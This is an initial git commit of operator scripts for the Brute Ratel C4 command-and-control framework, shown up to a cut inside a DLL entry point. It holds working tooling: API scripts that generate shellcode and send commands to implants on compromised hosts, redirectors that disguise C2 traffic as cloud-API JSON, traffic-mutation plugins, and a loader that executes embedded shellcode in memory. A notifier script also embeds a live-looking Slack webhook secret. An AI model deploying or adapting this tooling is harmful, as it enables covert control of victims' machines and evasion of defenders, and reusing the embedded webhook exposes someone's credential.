initial commit

This commit is contained in:
i2p
2026-08-27 11:22:43 -06:00
commit c0db112be3
155 changed files with 5570 additions and 0 deletions
@@ -0,0 +1,108 @@
#!/usr/bin/python3
# In order for this script to run successfully, the operator needs to
# update the slackWebHook variable with their own webhook generated
# from slack. This can be generated by Creating a channel, an app and
# then enabling Incoming Webhooks within the Slack App. Once the
# webhook is enabled, it will return a URL which needs to be added in
# the slackWebHook variable below
import sys
from datetime import datetime
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
import json
import threading
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
info = """
Brute Ratel C4 Notification Provider
Author : Paranoid Ninja
"""
usage = """
Usage : badgerNotifier.py slack <certfile> <keyfile>
Eg. : badgerNotifier.py slack /etc/letsencrypt/live/evasionlabs.com/fullchain.pem /etc/letsencrypt/live/evasionlabs.com/privkey.pem
"""
LHOST = "0.0.0.0"
LPORT = 8080
slackWebHookUrl = "https://hooks.slack.com/services/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"
class NotificationHandler(BaseHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def _html(self, message):
content = f"{message}"
return content.encode("utf8")
def do_GET(self):
self._set_headers()
self.wfile.write(self._html("404 Not Found"))
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
print("[" + currtime + "] GET request from " + self.address_string())
for x, y in self.headers.items():
print(" - ", x, ": ", y )
print("------------------------------------------------------------")
def do_HEAD(self):
self._set_headers()
self.wfile.write(self._html("404 Not Found"))
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
print("[" + currtime + "] HEAD request from " + self.address_string())
for x, y in self.headers.items():
print(" - ", x, ": ", y )
print("------------------------------------------------------------")
def do_POST(self):
try:
postData = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8')).rstrip('\r\n\r\n\0')
jdata = json.loads(postData)
# print(jdata)
if "badger" in jdata:
b_id = jdata["badger"]
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
print(f"[+] {currtime} " + b_id + " checked in")
if "badger_config" in jdata:
b_uid = jdata["badger_config"]["b_uid"]
b_h_name = jdata["badger_config"]["b_h_name"]
b_p_name = jdata["badger_config"]["b_p_name"]
b_pid = jdata["badger_config"]["b_pid"]
b_winver = jdata["badger_config"]["b_wver"]
b_bld = jdata["badger_config"]["b_bld"]
finalMsg = "Badger *" + b_id + "* checked in as user *" + b_uid + "* from host *" + b_h_name + "* spawned under process *" + b_pid + "::" + b_p_name + "* on Windows " + b_winver + " Build " + b_bld
# print(finalMsg)
self._set_headers()
self.wfile.write(self._html(""))
try:
requests.post(slackWebHookUrl, json={'text':finalMsg}, verify=False, headers={'Content-type': 'application/json'})
except Exception as ex:
print("[!] Exception:", ex)
except Exception as ex:
print("[-] Exception:", ex)
def log_message(self, format, *args):
return
def main():
print(info)
if (len(sys.argv) < 3):
print(usage)
return
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
print(f"[+] {currtime} Starting Badger Notification Handler for %s => {LHOST}:{LPORT}" % sys.argv[1])
server = HTTPServer((LHOST, LPORT), NotificationHandler)
server.socket = ssl.wrap_socket(server.socket, certfile=sys.argv[2], keyfile=sys.argv[3], server_side=True)
thread = threading.Thread(None, server.serve_forever)
thread.daemon = True
thread.start()
thread.join()
if __name__ == "__main__":
main()
@@ -0,0 +1,59 @@
#!/usr/bin/python3
import ssl
import websocket
import json
import requests
import urllib3
import threading
import base64
import sys
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Requests a rtl shellcode request. Check API docs for more information
def readerThread(ws):
while True:
response = ws.recv()
jdata = json.loads(response)
if 'task' in jdata and 'access' in jdata :
if jdata['access'] == True:
taskID = jdata['task']
if taskID == 59:
print("Badgers Removed:", jdata)
def main():
parser = argparse.ArgumentParser(description='This is a sample script to use Brute Ratel Server API!!!')
parser.add_argument('-u', type=str, required=True, help="Brute Ratel username", metavar='')
parser.add_argument('-p', type=str, required=True, help="Brute Ratel user's password", metavar='')
parser.add_argument('-s', type=str, required=True, help="Brute Ratel server host and port. Eg: 127.0.0.1:8443", metavar='')
parser.add_argument('-b', type=str, required=False, help="Badger IDs to remove seperated by comma with no space", metavar='')
args = parser.parse_args()
if not args.b:
print("Error: Need Badger ID '-b' to send command to the badger")
sys.exit(0)
user = args.u
password = args.p
server = args.s
badgerList = args.b.split(',')
print("Removing: ", badgerList)
loginData = json.dumps({'creds':{'user':user,'pass':password}})
response = requests.post('https://'+server+'/', data=loginData, verify=False)
jdata = json.loads(response.text)
if 'token' in jdata:
cookie = jdata['token']
print("[+] Auth Success. Cookie:", cookie)
ws = websocket.WebSocket(sslopt={"cert_reqs": ssl.CERT_NONE})
ws.connect("wss://"+server)
ws.send(json.dumps({'creds': { 'token': cookie, 'user': user }, 'task':0}))
threading.Thread(target=readerThread, args=(ws,)).start()
apiRequest = json.dumps({
'bgr_list': badgerList,
'task': 59
})
ws.send(apiRequest)
if __name__ == "__main__":
main()
+104
View File
@@ -0,0 +1,104 @@
#!/usr/bin/python3
import ssl
import websocket
import json
import requests
import urllib3
import threading
import base64
import sys
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Requests a rtl shellcode request. Check API docs for more information
def readerThread(ws):
while True:
response = ws.recv()
jdata = json.loads(response)
if 'task' in jdata and 'access' in jdata :
if jdata['access'] == True:
taskID = jdata['task']
if taskID == 36:
savePath = jdata['save_path']
print("[+] Received Payload. Saving to disk as", savePath)
shellcode = base64.b64decode(jdata['payload_dat'])
shellcodeLen = len(shellcode)
fileIO = open(savePath, "wb")
fileIO.write(shellcode)
fileIO.close()
print("[+] Wrote %d bytes to disk" % shellcodeLen)
sys.exit(0)
if taskID == 17:
print("Command sent successfully")
def main():
parser = argparse.ArgumentParser(description='This is a sample script to use Brute Ratel Server API!!!')
parser.add_argument('-u', type=str, required=True, help="Brute Ratel username", metavar='')
parser.add_argument('-p', type=str, required=True, help="Brute Ratel user's password", metavar='')
parser.add_argument('-s', type=str, required=True, help="Brute Ratel server host and port. Eg: 127.0.0.1:8443", metavar='')
parser.add_argument('-g', type=str, required=False, help="Generates rtl, wait, rtl-stealth, rtl-wait shellcode", metavar='')
parser.add_argument('-c', type=str, required=False, help="Sends a command to a badger", metavar='')
parser.add_argument('-b', type=str, required=False, help="BadgerID to send a payload to", metavar='')
args = parser.parse_args()
if not args.c and not args.g:
print("Error: Need atleast '-g' or '-c")
sys.exit(0)
if args.c:
if not args.b:
print("Error: Need Badger ID '-b' to send command to the badger")
sys.exit(0)
user = args.u
password = args.p
server = args.s
loginData = json.dumps({'creds':{'user':user,'pass':password}})
response = requests.post('https://'+server+'/', data=loginData, verify=False)
jdata = json.loads(response.text)
if 'token' in jdata:
cookie = jdata['token']
print("[+] Auth Success. Cookie:", cookie)
ws = websocket.WebSocket(sslopt={"cert_reqs": ssl.CERT_NONE})
ws.connect("wss://"+server)
ws.send(json.dumps({'creds': { 'token': cookie, 'user': 'admin' }, 'task':0}))
threading.Thread(target=readerThread, args=(ws,)).start()
apiRequest = json.dumps({})
shellcodeType = 1
if args.g:
if args.g == "rtl":
shellcodeType = 1
elif args.g == "wait":
shellcodeType = 2
elif args.g == "rtl-stealth":
shellcodeType = 8
elif args.g == "rtl-wait":
shellcodeType = 9
else:
sys.exit(0)
apiRequest = json.dumps({
'payload_arch': 1,
'payload_config_name': 'primary-c2',
'payload_type': shellcodeType,
'save_path': 'badger_x64_'+args.g+'.bin',
'svc_desc': 'NA',
'svc_name': 'NA',
'task': 36
})
else:
apiRequest = json.dumps({
'bgr_cmd':{
'badger': args.b,
'cmd': args.c
},
'task':17
})
ws.send(apiRequest)
if __name__ == "__main__":
main()
@@ -0,0 +1,3 @@
#!/bin/bash
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
@@ -0,0 +1,8 @@
#!/bin/bash
# use this script to install dependencies for the server and the client
## server dependencies
sudo apt-get install nasm mingw-w64
## Uncomment this if Commander does not work
# sudo apt-get install libqt5webenginewidgets5 libqt5websockets5
@@ -0,0 +1,36 @@
#!/bin/bash
# Brute Ratel versions support seamless updates between minor versions, preserving all data
# Major versions, like 1.7, 1.8, 1.9, demonstrate significant changes
# Minor versions, such as 1.7.1, 1.8.1, 1.9.1, or 1.9.2, maintain compatibility within the same major version.
# Updating from, for example, 1.9.0 to 1.9.8 doesn't result in data loss, ensuring cross-compatibility among all badgers and servers.
# Deploying badgers from minor version (eg: 1.9.0) alongside another minor version (1.9.8) server remains seamless and functional.
# This script facilitates safe updates between minor versions, ensuring preservation of badgers, logs, and downloaded data.
# Prior to execution, please adhere to the following steps. For this example, we will assume the old package is 1.9.0 and the update version is 1.9.2
# 1. Download 1.9.2 tar.gz package from bruteratel.com and extract/activate it
# 2. Copy this `migrate.sh` script to the 1.9.2 package
# 3. Ensure all badgers are idling (sleeping) and not actively executing any commands or sending responses during migration.
# 4. A recommended suggestion would be to synchronize all your badgers and put them to sleep for a minimum of 5 minutes, so that the badgers do not check in during the following operations
# 5. Close the Commander and allow your Server to remain idle for a minimum of 2 minutes before proceeding with the following operation. This allows time for Ratel server to autosave the latest server metadata to autosave.profile which is executed every 30 seconds
# 6. After the badgers and the server is set to idle, backup your server profile using `scratchpad` or just backup the `autosave.profile`, and then terminate the old server (1.9.0) using Ctrl+C
# 7. Navigate to the new package (1.9.2), and execute the `migrate.sh` with full path of the old package as the commandline argument. Example: ./migrate.sh /home/noob/Documents/bruteratel_1.9.0
# 8. Make note that your current working directory should be the new package directory when you are executing the script.
# 9. Run the new package using './brute-ratel-linx64 -ratel -r autosave.profile' command.
echo "!!! NOTE: Make sure this script is stored in the new package directory !!!"
if [ $# -eq 0 ]; then
echo "Error: No argument provided. Please provide full path of the old package"
else
oldPackage=$1
newPackage=`pwd`
echo "[+] Old package path: $oldPackage"
echo "[+] New package path: $newPackage"
cp -rf "$oldPackage/logs" $newPackage
cp -rf "$oldPackage/hosted" $newPackage
cp -rf "$oldPackage/downloads" $newPackage
cp -rf "$oldPackage/uploads" $newPackage
cp -rf "$oldPackage/autosave.profile" $newPackage
echo "[+] Update complete. Execute the new package with: './brute-ratel-linx64 -ratel -r autosave.profile'"
fi
@@ -0,0 +1,18 @@
#include <windows.h>
void coffee(char** argv, int argc, WCHAR** dispatch);
DECLSPEC_IMPORT int BadgerDispatch(WCHAR** dispatch, const char *__format, ...);
DECLSPEC_IMPORT int BadgerDispatchW(WCHAR** dispatch, const WCHAR*__format, ...);
DECLSPEC_IMPORT size_t BadgerStrlen(CHAR* buf);
DECLSPEC_IMPORT size_t BadgerWcslen(WCHAR* buf);
DECLSPEC_IMPORT void *BadgerMemcpy(void *dest, const void *src, size_t len) ;
DECLSPEC_IMPORT void *BadgerMemset(void *dest, int val, size_t len);
DECLSPEC_IMPORT int BadgerStrcmp(const char *p1, const char *p2);
DECLSPEC_IMPORT int BadgerWcscmp(const wchar_t *s1, const wchar_t *s2);
DECLSPEC_IMPORT int BadgerAtoi(char* string);
DECLSPEC_IMPORT PVOID BadgerAlloc(SIZE_T length);
DECLSPEC_IMPORT VOID BadgerFree(PVOID *memptr);
DECLSPEC_IMPORT BOOL BadgerSetdebug();
DECLSPEC_IMPORT ULONG BadgerGetBufferSize(PVOID buffer);
DECLSPEC_IMPORT UINT_PTR BadgerSpoofStackFrame(UINT_PTR pWinAPI, int argc, ...);
DECLSPEC_IMPORT VOID BadgerSetHTTPBuffer(PVOID buffer);
@@ -0,0 +1 @@
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /t:exe /out:modify_http.exe modify_http.cs
@@ -0,0 +1,148 @@
#!/usr/bin/python3
import threading
import argparse
from datetime import datetime
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import logging
DEBUG_LOGS = False
BRC4_LISTENER_URL = ""
BRC4_USERAGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36"
PostRequestPrepend = "{\n \"Action\": \"CreateResource\",\n \"Service\": \"ExampleService\",\n \"Version\": \"2019-09-01\",\n \"Region\": \"us-east-1\",\n \"Timestamp\": \"2023-09-04T12:00:00Z\",\n \"Credentials\": {\n \"AccessKeyId\": \"YOUR_ACCESS_KEY_ID\",\n \"SecretAccessKey\": \""
PostRequestPrependLength = len(PostRequestPrepend)
PostRequestAppend = "\"\n },\n \"RequestParameters\": {\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}"
PostRequestAppendLength = len(PostRequestAppend)
PostResponsePrepend = "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \""
PostResponsePrependLength = len(PostResponsePrepend)
PostResponseAppend = "\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}"
PostResponseAppendLength = len(PostResponseAppend)
PostEmptyResponse = "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"12345678-1234-5678-1234-567812345678\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}\n"
PostEmptyResponseLength = (PostEmptyResponse)
logging.basicConfig(
format='%(asctime)s - %(levelname)s - %(message)s',
level=logging.INFO, # Set log level to DEBUG
datefmt='%Y-%m-%d %H:%M:%S' # Specify the date and time format
)
def ModifyPostRequest(postData):
postData = postData[PostRequestPrependLength:-PostRequestAppendLength]
postData = postData.replace("$", "")
postData = PostRequestPrepend + postData + PostRequestAppend
if not DEBUG_LOGS:
print(".")
return postData
def ModifyPostResponse(postResponse):
if (postResponse != PostEmptyResponse):
postResponse = postResponse[PostResponsePrependLength:-PostResponseAppendLength]
part_size = 5
if part_size <= 0 or part_size > len(postResponse):
return postResponse
parts = [postResponse[i:i + part_size] for i in range(0, len(postResponse), part_size)]
postResponse = "$".join(parts)
postResponse = PostResponsePrepend + postResponse + PostResponseAppend
return postResponse
class Stager(BaseHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
self.send_header("Content-type", "application/json")
self.end_headers()
def _html(self, message):
content = f"{message}"
return content.encode("utf8")
def do_GET(self):
self._set_headers()
self.wfile.write(self._html("404 Not Found"))
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
logging.info("[" + currtime + "] GET request from " + self.address_string())
for x, y in self.headers.items():
print(" - ", x, ": ", y )
print("------------------------------------------------------------")
def do_HEAD(self):
self._set_headers()
self.wfile.write(self._html("404 Not Found"))
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
logging.info("[" + currtime + "] HEAD request from " + self.address_string())
for x, y in self.headers.items():
print(" - ", x, ": ", y )
print("------------------------------------------------------------")
def do_POST(self):
# verifying that useragent matches
if (self.headers["User-Agent"] == BRC4_USERAGENT):
try:
global DEBUG_LOGS
postRequest = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8'))
if DEBUG_LOGS:
datalen = len(postRequest)
logging.info(f"Received from badger: {datalen} bytes (START)")
postRequest = ModifyPostRequest(postRequest)
headers = {
"Content-Type": "application/json",
"User-Agent": BRC4_USERAGENT,
}
if DEBUG_LOGS:
datalen = len(postRequest)
logging.info(f"Sent to BRc4 server: {datalen} bytes")
response = requests.post(BRC4_LISTENER_URL, postRequest, headers=headers, verify=False)
if DEBUG_LOGS:
datalen = len(response.text)
logging.info(f"Received from BRc4 server: {datalen} bytes")
postResponse = ModifyPostResponse(response.text)
if DEBUG_LOGS:
datalen = len(postResponse)
logging.info(f"Sent to badger: {datalen} bytes (END)")
self._set_headers()
self.wfile.write(postResponse.encode("utf-8"))
except Exception as ex:
logging.info("[-] Exception: ", ex)
def log_message(self, format, *args):
return
def main():
parser = argparse.ArgumentParser(description='BRc4 HTTP Mutating Server Example 0.1')
parser.add_argument('-c', '--cert', type=str, required=True, help="certificate file")
parser.add_argument('-k', '--key', type=str, required=True, help="certificate key")
parser.add_argument('-f', '--forward', type=str, required=True, help="BRc4 server to forward. Eg.: '172.16.219.1:10443'")
parser.add_argument('-l', '--listener', type=str, required=True, help="Listener host and port. Eg.: '172.16.219.1:443'")
parser.add_argument('-u', '--url', type=str, required=True, help="BRc4 URL to forward")
parser.add_argument('-d', '--debug', action='store_true', required=False, help="Enable debug logs")
args = parser.parse_args()
listenerHost = args.listener.split(":")[0]
listenerPort = args.listener.split(":")[1]
if not args.url.startswith("/"):
args.url = "/" + args.url
global BRC4_LISTENER_URL
global DEBUG_LOGS
BRC4_LISTENER_URL = "https://" + args.forward + args.url
logging.info(f"External C2 Server: '{args.listener}' => '{BRC4_LISTENER_URL}'")
logging.info(f"Useragent: '{BRC4_USERAGENT}'")
if args.debug:
logging.info(f"Debug logs enabled")
DEBUG_LOGS = True
server = HTTPServer((listenerHost, int(listenerPort)), Stager)
server.socket = ssl.wrap_socket(server.socket, certfile=args.cert, keyfile=args.key, server_side=True)
thread = threading.Thread(None, server.serve_forever)
thread.daemon = True
thread.start()
thread.join()
if __name__ == "__main__":
main()
@@ -0,0 +1,79 @@
#include <windows.h>
#include <stdio.h>
#include "badger_exports.h"
// compile with:
// x86_64-w64-mingw32-gcc modify_http.c -c -o modify_http.o
char* RemoveDelimiter(char* src_buffer) {
int i, j = 0;
size_t len = BadgerStrlen(src_buffer);
char* dst_buffer = (char*)BadgerAlloc(len + 1); // +1 for the null terminator
if (! dst_buffer) {
return NULL; // Allocation failed
}
BadgerMemcpy(dst_buffer, src_buffer, len);
for (i = 0; i < len; i++) {
// If the current character is not '$', copy it to the new position
if (dst_buffer[i] != '$') {
dst_buffer[j++] = dst_buffer[i];
}
}
// Null-terminate the modified string
dst_buffer[j] = '\0';
return dst_buffer;
}
char* DelimitBuffer(char* src_buffer, size_t part_size) {
size_t size = BadgerStrlen(src_buffer);
if (size == 0 || part_size == 0 || part_size > size) {
return NULL;
}
// Calculate the number of parts
size_t num_parts = (size + part_size - 1) / part_size; // ceil(size / part_size)
size_t new_size = size + (num_parts - 1); // Additional space for delimiters
// Allocate memory for the new string
char* dst_buffer = (char*)BadgerAlloc(new_size + 1); // +1 for the null terminator
if (! dst_buffer) {
return NULL; // Allocation failed
}
size_t new_index = 0;
// Split the src_buffer and add delimiters
for (size_t i = 0; i < size; i += part_size) {
// Copy the part
size_t current_part_size = (i + part_size <= size) ? part_size : (size - i);
BadgerMemcpy(&dst_buffer[new_index], &src_buffer[i], current_part_size);
new_index += current_part_size;
// Add delimiter if not the last part
if (i + part_size < size) {
dst_buffer[new_index++] = '$';
}
}
// Null terminate the new string
dst_buffer[new_index] = '\0';
return dst_buffer;
}
void coffee(char** argv, int argc, WCHAR** dispatch) {
// argc will be 2
// argv[0] : if string "0", its request; if string "1", its response
// argv[1] : contains request or response buffer depending on argv[0]
CHAR *src_buffer = argv[1];
CHAR *dst_buffer = NULL;
if (BadgerStrcmp(argv[0], "0") == 0) {
size_t part_size = 5;
dst_buffer = DelimitBuffer(src_buffer, part_size);
} else if (BadgerStrcmp(argv[0], "1") == 0) {
dst_buffer = RemoveDelimiter(src_buffer);
}
if (dst_buffer) {
BadgerSetHTTPBuffer((PVOID)dst_buffer);
BadgerFree((PVOID*)&dst_buffer);
}
}
@@ -0,0 +1,87 @@
using System;
using System.Collections.Generic;
using System.Reflection;
using System.Runtime.InteropServices;
public class HttpBufferManager {
// Define a delegate that matches the function signature
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate void BadgerSetHTTPBufferDelegate(string argument);
public static void ExecutePointer(string argument, string addressString) {
if (string.IsNullOrEmpty(addressString) || string.IsNullOrEmpty(argument)) {
return;
}
// Convert the string representation of the address to an IntPtr
IntPtr address = (IntPtr)Convert.ToInt64(addressString, 16);
// Convert the IntPtr to a delegate
BadgerSetHTTPBufferDelegate BadgerSetHTTPBuffer = (BadgerSetHTTPBufferDelegate)Marshal.GetDelegateForFunctionPointer(address, typeof(BadgerSetHTTPBufferDelegate));
// Invoke the function via the delegate
BadgerSetHTTPBuffer(argument);
}
public static string RemoveDelimiter(string srcBuffer) {
if (string.IsNullOrEmpty(srcBuffer)) {
return null;
}
int length = srcBuffer.Length;
// Allocate a buffer to store the modified string
char[] dst_buffer = new char[length];
int j = 0;
for (int i = 0; i < length; i++) {
// If the current character is not '$', copy it to the new position
if (srcBuffer[i] != '$') {
dst_buffer[j++] = srcBuffer[i];
}
}
// Create a new string from the modified character array and return it
return new string(dst_buffer, 0, j);
}
public static string DelimitBuffer(string src_buffer, int part_size) {
if (string.IsNullOrEmpty(src_buffer) || part_size <= 0) {
return null;
}
// Calculate the number of full parts
int fullPartsCount = src_buffer.Length / part_size;
int remainder = src_buffer.Length % part_size;
// Create an array to hold the parts
string[] parts = new string[fullPartsCount + (remainder > 0 ? 1 : 0)];
// Split the src_buffer into parts
for (int i = 0; i < fullPartsCount; i++) {
parts[i] = src_buffer.Substring(i * part_size, part_size);
}
// Add the remaining part if any
if (remainder > 0) {
parts[fullPartsCount] = src_buffer.Substring(fullPartsCount * part_size);
}
// Join the parts with the delimiter "$"
return string.Join("$", parts);
}
}
namespace ModifyHttp {
class Program {
static void Main(string[] args) {
// argc will be 3
// argv[0] : if string "0", its request; if string "1", its response
// argv[1] : contains request or response buffer depending on argv[0]
// argv[2] : contains pointer for BadgerSetHTTPBuffer (similar to COFF)
string src_buffer = args[1];
string dst_buffer = "";
if (args[0] == "0") {
int part_size = 5;
dst_buffer = HttpBufferManager.DelimitBuffer(src_buffer, part_size);
} else if (args[0] == "1") {
dst_buffer = HttpBufferManager.RemoveDelimiter(src_buffer);
}
if (dst_buffer != "") {
HttpBufferManager.ExecutePointer(dst_buffer, args[2]);
}
}
}
}
@@ -0,0 +1,4 @@
#!/bin/bash
# listen on 443 using ssl keys (ssl test)
openssl s_server -key key.pem -cert cert.pem -accept 443
@@ -0,0 +1,78 @@
#!/usr/bin/python3
import threading
from datetime import datetime
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
LHOST = "0.0.0.0"
LPORT = 443
listener_bucket = {
"managedservices.azureedge.net": "8000",
"Amazon CloudFront": "9000",
}
class Stager(BaseHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def _html(self, message):
content = f"{message}"
return content.encode("utf8")
def do_GET(self):
self._set_headers()
self.wfile.write(self._html("404 Not Found"))
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
print("[" + currtime + "] GET request from " + self.address_string())
for x, y in self.headers.items():
print(" - ", x, ": ", y )
print("------------------------------------------------------------")
def do_HEAD(self):
self._set_headers()
self.wfile.write(self._html("404 Not Found"))
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
print("[" + currtime + "] HEAD request from " + self.address_string())
for x, y in self.headers.items():
print(" - ", x, ": ", y )
print("------------------------------------------------------------")
def do_POST(self):
headerValue = ""
if 'X-Host' in self.headers:
headerValue = self.headers['X-Host']
elif 'User-Agent' in self.headers:
headerValue = self.headers['User-Agent']
if headerValue in listener_bucket:
print("Host Header [", headerValue, "] => routing to ", listener_bucket[headerValue])
postData = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8'))
response = requests.post('https://localhost:' + listener_bucket[headerValue] + '/request', postData, self.headers, verify=False)
self._set_headers()
self.wfile.write(response.text)
def log_message(self, format, *args):
return
def main():
if (len(sys.argv) < 3):
print("Usage:", sys.argv[0], "<certfile> <keyfile>")
return
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
print(f"[+] {currtime} Starting external c2 server on {LHOST}:{LPORT}")
server = HTTPServer((LHOST, LPORT), Stager)
server.socket = ssl.wrap_socket(server.socket, certfile=sys.argv[1], keyfile=sys.argv[2], server_side=True)
thread = threading.Thread(None, server.serve_forever)
thread.daemon = True
thread.start()
thread.join()
if __name__ == "__main__":
main()
@@ -0,0 +1,12 @@
all:
make exe
make dll
exe:
x86_64-w64-mingw32-gcc shellcode.c -o shellcode.exe -lntdll -s
dll:
x86_64-w64-mingw32-gcc shellcode.c -o shellcode.dll -lntdll -s -DBUILD_DLL -shared
clean:
rm -rf *.exe *.dll *.bin
@@ -0,0 +1,88 @@
// NOTE: DO NOT USE THIS TEMPLATE IN ACTIVE ENGAGEMENTS
// THIS IS ONLY SUPPOSED TO BE USED FOR TRIAL AND TESTING
// SIMILAR TECHNIQUES CAN BE USED INSIDE SIDELOADED DLLS
// OR C-SHARP CODE IN HTA/JSCRIPT/MACROS IN ENGAGEMENTS
// Don't call VirtualFree/NtFreeVirtualMemory or NtUnmapViewOfSection to unmap a memory region
// The allocated memory for badger's shellcode does not require cleaning up. Badger is nice. It does that for you :)
// however if you execute the staging payload, you will have to cleanup after it
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include "shellcode.h"
// when compiled as an exe, void main acts as the entrypoint
// when compiled as a dll, void main is exported, and the exported function can be called with: 'rundll32.exe shellcode.dll,main'
#ifdef BUILDDLL
__declspec(dllexport) void main();
#endif
extern NTSTATUS NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle);
extern NTSTATUS NtMapViewOfSection(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, ULONG InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
extern NTSTATUS NtUnmapViewOfSection(HANDLE ProcessHandle, PVOID BaseAddress);
extern NTSTATUS NtAllocateVirtualMemory(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
extern NTSTATUS NtProtectVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PSIZE_T NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
void valloc_badger() {
DWORD dwOldProtect = 0;
LPVOID addressPointer = VirtualAlloc(NULL, badger_bin_len, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
memcpy(addressPointer, badger_bin, badger_bin_len);
VirtualProtect(addressPointer, badger_bin_len, PAGE_EXECUTE_READ, &dwOldProtect);
((void(*)())addressPointer)();
};
void ntalloc_badger() {
ULONG ulOldProtect = 0;
LPVOID addressPointer = NULL;
SIZE_T shellcodeSize = (SIZE_T) badger_bin_len;
NtAllocateVirtualMemory((HANDLE)-1, &addressPointer, 0, &shellcodeSize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
memcpy(addressPointer, badger_bin, badger_bin_len);
NtProtectVirtualMemory((HANDLE)-1, &addressPointer, &shellcodeSize, PAGE_EXECUTE_READ, &ulOldProtect);
((void(*)())addressPointer)();
};
void ntmapview_badger() {
HANDLE hMainShellcodeSection = NULL;
LPVOID hlocalSection = NULL;
LARGE_INTEGER mainSectionSize = { badger_bin_len };
SIZE_T localMapViewSize = 0;
NtCreateSection(&hMainShellcodeSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, &mainSectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, (HANDLE)NULL);
localMapViewSize = (SIZE_T) mainSectionSize.QuadPart;
NtMapViewOfSection(hMainShellcodeSection, (HANDLE)-1, &hlocalSection, 0, 0, 0, &localMapViewSize, 2, 0, PAGE_READWRITE);
memcpy(hlocalSection, badger_bin, badger_bin_len);
NtUnmapViewOfSection((HANDLE)-1, hlocalSection);
hlocalSection = NULL;
localMapViewSize = (SIZE_T) mainSectionSize.QuadPart;
NtMapViewOfSection(hMainShellcodeSection, (HANDLE)-1, &hlocalSection, 0, 0, 0, &localMapViewSize, 2, 0, PAGE_EXECUTE_READ);
((void(*)())hlocalSection)();
};
void main() {
// Only enable one function at a time here
valloc_badger();
// ntalloc_badger();
// ntmapview_badger();
// the executed shellcode returns after creating a new thread with a spoofed thread entrypoint
// Since the thread entrypoint returns, it's recommended not to wait on the thread's handle
// Rather wait on the current process's handle so that the process does not exit
// If thread wait is required, use the 'wait' shellcode instead of the 'ret' one when generating shellcode from the badger
WaitForSingleObject((HANDLE)-1, -1);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
BOOL bReturnValue = TRUE;
switch (dwReason) {
